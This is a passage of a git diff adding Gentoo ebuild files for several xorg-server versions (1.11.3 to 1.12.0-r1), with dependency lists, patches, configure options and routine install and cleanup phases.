+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	ewarn
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	ewarn
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.11.3.ebuild b/x11-base/xorg-server/xorg-server-1.11.3.ebuild
new file mode 100644
index 00000000..5c6edd25
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.11.3.ebuild
@@ -0,0 +1,264 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.11.2-r2.ebuild,v 1.1 2011/11/24 13:09:40 chithanh Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.10.3
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-1.4
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-1.9.99.902
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-disable-acpi.patch
+	"${FILESDIR}"/${PN}-1.9-nouveau-default.patch
+	"${FILESDIR}"/${PN}-die-ugly-background.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-5 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	ewarn
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	ewarn
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild b/x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild
new file mode 100644
index 00000000..4c33dbde
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.11.4-r1.ebuild
@@ -0,0 +1,276 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+# made using "/var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.11.4.ebuild,v 1.2 2012/03/02 18:02:14 swift Exp"
+# on top of which applied changes introduced up to 1.11.4-r1 v. 1.8
+
+EAPI=4
+
+XORG_DOC=doc
+XORG_EAUTORECONF=yes
+inherit flag-o-matic xorg-2 multilib versionator
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 sh sparc x86 ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl selinux tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.10.3
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-2.4.1-r3
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3
+	selinux? ( sec-policy/selinux-xserver )"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-1.9.99.902
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-disable-acpi.patch
+	"${FILESDIR}"/${PN}-1.9-nouveau-default.patch
+	"${FILESDIR}"/${PN}-die-ugly-background.patch
+	"${FILESDIR}"/${PN}-1.11-disable-tests-without-ddx.patch
+	"${FILESDIR}"/${PN}-1.11-dix-pointerrootwin-send-focusin.patch
+	"${FILESDIR}"/${PN}-1.11-dix-send-focus-events.patch
+	"${FILESDIR}"/${PN}-1.11-log-format-fix.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+
+	# Make breakage less obvious, bug #402285.
+	replace-flags -O3 -O2
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-5 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	ewarn
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	ewarn
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
+	if [[ -z ${REPLACED_BY_VERSION} && -e ${ROOT}/usr/$(get_libdir)/xorg/modules ]]; then
+		rm -rf "${ROOT}"/usr/$(get_libdir)/xorg/modules
+	fi
+}
+
+dynamic_libgl_install() {
+	# next section is to setup the dynamic libGL stuff
+	ebegin "Moving GL files for dynamic switching"
+		dodir /usr/$(get_libdir)/opengl/xorg-x11/extensions
+		local x=""
+		for x in "${D}"/usr/$(get_libdir)/xorg/modules/extensions/lib{glx,dri,dri2}*; do
+			if [ -f ${x} -o -L ${x} ]; then
+				mv -f ${x} "${D}"/usr/$(get_libdir)/opengl/xorg-x11/extensions
+			fi
+		done
+	eend 0
+}
+
+server_based_install() {
+	if ! use xorg; then
+		rm "${D}"/usr/share/man/man1/Xserver.1x \
+			"${D}"/usr/$(get_libdir)/xserver/SecurityPolicy \
+			"${D}"/usr/$(get_libdir)/pkgconfig/xorg-server.pc \
+			"${D}"/usr/share/man/man1/Xserver.1x
+	fi
+}
diff --git a/x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild b/x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild
new file mode 100644
index 00000000..675a4781
--- /dev/null
+++ b/x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild
@@ -0,0 +1,266 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/x11-base/xorg-server/xorg-server-1.12.0-r1.ebuild,v 1.1 2012/03/20 16:02:52 ssuominen Exp $
+
+EAPI=4
+
+XORG_DOC=doc
+inherit xorg-2 multilib versionator flag-o-matic
+EGIT_REPO_URI="git://anongit.freedesktop.org/git/xorg/xserver"
+
+DESCRIPTION="X.Org X servers"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd"
+
+IUSE_SERVERS="dmx kdrive xnest xorg xvfb"
+IUSE="${IUSE_SERVERS} ipv6 minimal nptl selinux tslib +udev"
+
+RDEPEND=">=app-admin/eselect-opengl-1.0.8
+	dev-libs/openssl
+	media-libs/freetype
+	>=x11-apps/iceauth-1.0.2
+	>=x11-apps/rgb-1.0.3
+	>=x11-apps/xauth-1.0.3
+	x11-apps/xkbcomp
+	>=x11-libs/libpciaccess-0.12.901
+	>=x11-libs/libXau-1.0.4
+	>=x11-libs/libXdmcp-1.0.2
+	>=x11-libs/libXfont-1.4.2
+	>=x11-libs/libxkbfile-1.0.4
+	>=x11-libs/pixman-0.21.8
+	>=x11-libs/xtrans-1.2.2
+	>=x11-misc/xbitmaps-1.0.1
+	>=x11-misc/xkeyboard-config-2.4.1-r3
+	dmx? (
+		x11-libs/libXt
+		>=x11-libs/libdmx-1.0.99.1
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXaw-1.0.4
+		>=x11-libs/libXext-1.0.99.4
+		>=x11-libs/libXfixes-5.0
+		>=x11-libs/libXi-1.2.99.1
+		>=x11-libs/libXmu-1.0.3
+		x11-libs/libXrender
+		>=x11-libs/libXres-1.0.3
+		>=x11-libs/libXtst-1.0.99.2
+	)
+	kdrive? (
+		>=x11-libs/libXext-1.0.5
+		x11-libs/libXv
+	)
+	!minimal? (
+		>=x11-libs/libX11-1.1.5
+		>=x11-libs/libXext-1.0.5
+		>=media-libs/mesa-7.8_rc[nptl=]
+	)
+	tslib? ( >=x11-libs/tslib-1.0 )
+	udev? ( >=sys-fs/udev-150 )
+	>=x11-apps/xinit-1.3
+	selinux? ( sec-policy/selinux-xserver )"
+
+DEPEND="${RDEPEND}
+	sys-devel/flex
+	>=x11-proto/bigreqsproto-1.1.0
+	>=x11-proto/compositeproto-0.4
+	>=x11-proto/damageproto-1.1
+	>=x11-proto/fixesproto-5.0
+	>=x11-proto/fontsproto-2.0.2
+	>=x11-proto/glproto-1.4.14
+	>=x11-proto/inputproto-2.1.99.3
+	>=x11-proto/kbproto-1.0.3
+	>=x11-proto/randrproto-1.2.99.3
+	>=x11-proto/recordproto-1.13.99.1
+	>=x11-proto/renderproto-0.11
+	>=x11-proto/resourceproto-1.0.2
+	>=x11-proto/scrnsaverproto-1.1
+	>=x11-proto/trapproto-3.4.3
+	>=x11-proto/videoproto-2.2.2
+	>=x11-proto/xcmiscproto-1.2.0
+	>=x11-proto/xextproto-7.1.99
+	>=x11-proto/xf86dgaproto-2.0.99.1
+	>=x11-proto/xf86rushproto-1.1.2
+	>=x11-proto/xf86vidmodeproto-2.2.99.1
+	>=x11-proto/xineramaproto-1.1.3
+	>=x11-proto/xproto-7.0.22
+	dmx? (
+		>=x11-proto/dmxproto-2.2.99.1
+		doc? (
+			|| (
+				www-client/links
+				www-client/lynx
+				www-client/w3m
+			)
+		)
+	)
+	!minimal? (
+		>=x11-proto/xf86driproto-2.1.0
+		>=x11-proto/dri2proto-2.6
+		>=x11-libs/libdrm-2.4.20
+	)"
+
+PDEPEND="
+	xorg? ( >=x11-base/xorg-drivers-$(get_version_component_range 1-2) )"
+
+REQUIRED_USE="!minimal? (
+		|| ( ${IUSE_SERVERS} )
+	)"
+
+#UPSTREAMED_PATCHES=(
+#	"${WORKDIR}/patches/"
+#)
+
+PATCHES=(
+	"${UPSTREAMED_PATCHES[@]}"
+	"${FILESDIR}"/${PN}-1.12-disable-acpi.patch
+)
+
+pkg_pretend() {
+	# older gcc is not supported
+	[[ "${MERGE_TYPE}" != "binary" && $(gcc-major-version) -lt 4 ]] && \
+		die "Sorry, but gcc earlier than 4.0 wont work for xorg-server."
+}
+
+pkg_setup() {
+	xorg-2_pkg_setup
+
+	# localstatedir is used for the log location; we need to override the default
+	#	from ebuild.sh
+	# sysconfdir is used for the xorg.conf location; same applies
+	#	--enable-install-setuid needed because sparcs default off
+	# NOTE: fop is used for doc generating ; and i have no idea if gentoo
+	#	package it somewhere
+	XORG_CONFIGURE_OPTIONS=(
+		$(use_enable ipv6)
+		$(use_enable dmx)
+		$(use_enable kdrive)
+		$(use_enable kdrive kdrive-kbd)
+		$(use_enable kdrive kdrive-mouse)
+		$(use_enable kdrive kdrive-evdev)
+		$(use_enable tslib)
+		$(use_enable !minimal record)
+		$(use_enable !minimal xfree86-utils)
+		$(use_enable !minimal install-libxf86config)
+		$(use_enable !minimal dri)
+		$(use_enable !minimal dri2)
+		$(use_enable !minimal glx)
+		$(use_enable xnest)
+		$(use_enable xorg)
+		$(use_enable xvfb)
+		$(use_enable nptl glx-tls)
+		$(use_enable udev config-udev)
+		$(use_with doc doxygen)
+		$(use_with doc xmlto)
+		--sysconfdir=/etc/X11
+		--localstatedir=/var
+		--enable-install-setuid
+		--with-fontrootdir=/usr/share/fonts
+		--with-xkb-output=/var/lib/xkb
+		--disable-config-hal
+		--without-dtrace
+		--without-fop
+		--with-os-vendor=Gentoo
+	)
+
+	# Xorg-server requires includes from OS mesa which are not visible for
+	# users of binary drivers.
+	mkdir -p "${T}/mesa-symlinks/GL"
+	for i in gl glx glxmd glxproto glxtokens; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/xorg-x11/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	for i in glext glxext; do
+		ln -s "${EROOT}usr/$(get_libdir)/opengl/global/include/$i.h" "${T}/mesa-symlinks/GL/$i.h" || die
+	done
+	append-cppflags "-I${T}/mesa-symlinks"
+
+	# Make breakage less obvious, bug #402285.
+	replace-flags -O3 -O2
+}
+
+src_install() {
+	xorg-2_src_install
+
+	dynamic_libgl_install
+
+	server_based_install
+
+	if ! use minimal &&	use xorg; then
+		# Install xorg.conf.example into docs
+		dodoc "${AUTOTOOLS_BUILD_DIR}"/hw/xfree86/xorg.conf.example
+	fi
+
+	newinitd "${FILESDIR}"/xdm-setup.initd-1 xdm-setup
+	newinitd "${FILESDIR}"/xdm.initd-7 xdm
+	newconfd "${FILESDIR}"/xdm.confd-4 xdm.example
+
+	# install the @x11-module-rebuild set for Portage
+	insinto /usr/share/portage/config/sets
+	newins "${FILESDIR}"/xorg-sets.conf xorg.conf
+}
+
+CONFD_XDM="${ROOT}/etc/conf.d/xdm"
+pkg_preinst() {
+	# backup user /etc/conf.d/xdm
+	if [ -f "${CONFD_XDM}" ]; then
+		cp -p "${CONFD_XDM}" "${CONFD_XDM}.backup"
+	fi
+}
+
+pkg_postinst() {
+	# Copy config file over
+	if [ -f "${CONFD_XDM}.backup" ]; then
+		cp ${CONFD_XDM}.backup ${CONFD_XDM} -p
+	else
+		if [ -f "${CONFD_XDM}.example" ] && [ ! -f "${CONFD_XDM}" ]; then
+			cp ${CONFD_XDM}.example ${CONFD_XDM} -p
+		fi
+	fi
+
+	# sets up libGL and DRI2 symlinks if needed (ie, on a fresh install)
+	eselect opengl set xorg-x11 --use-old
+
+	if [[ ${PV} != 9999 && $(get_version_component_range 2 ${REPLACING_VERSIONS}) != $(get_version_component_range 2 ${PV}) ]]; then
+		ewarn "You must rebuild all drivers if upgrading from <xorg-server-$(get_version_component_range 1-2)"
+		ewarn "because the ABI changed. If you cannot start X because"
+		ewarn "of module version mismatch errors, this is your problem."
+
+		echo
+		ewarn "You can generate a list of all installed packages in the x11-drivers"
+		ewarn "category using this command:"
+		ewarn "	emerge portage-utils; qlist -I -C x11-drivers/"
+		ewarn "or using sets from portage-2.2:"
+		ewarn "	emerge @x11-module-rebuild"
+	fi
+
+	echo
+	ewarn "/etc/conf.d/xdm is no longer provided, /etc/conf.d/xdm.example is"
+	ewarn "Your current /etc/conf.d/xdm has been used as new default"
+	echo
+}
+
+pkg_postrm() {
+	# Get rid of module dir to ensure opengl-update works properly
